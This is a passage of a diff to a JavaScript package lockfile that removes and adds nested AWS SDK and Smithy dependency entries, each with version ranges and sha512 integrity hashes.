- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-BoGO6IIWrLyLxQG6txJw6RT2urmbtlwfggapNCrNPyYjlXpzTSJhBYjndg7TpDATFd0SXL0zm8y/tXsUXNkdYQ=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.758.0", "", { "dependencies": { "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-ckptN1tNrIfQUaGWm/ayW1ddG+imbKN7HHhjFdS4VfItsP0QQOB0+Ov+tpgb4MoNR4JaUghMIVStjIeHN2ks1w=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
-
"@aws-sdk/credential-providers/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
- "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/nested-clients/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
- "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="],
- "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@aws-sdk/nested-clients/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+ "@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
-
- "@aws-sdk/nested-clients/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
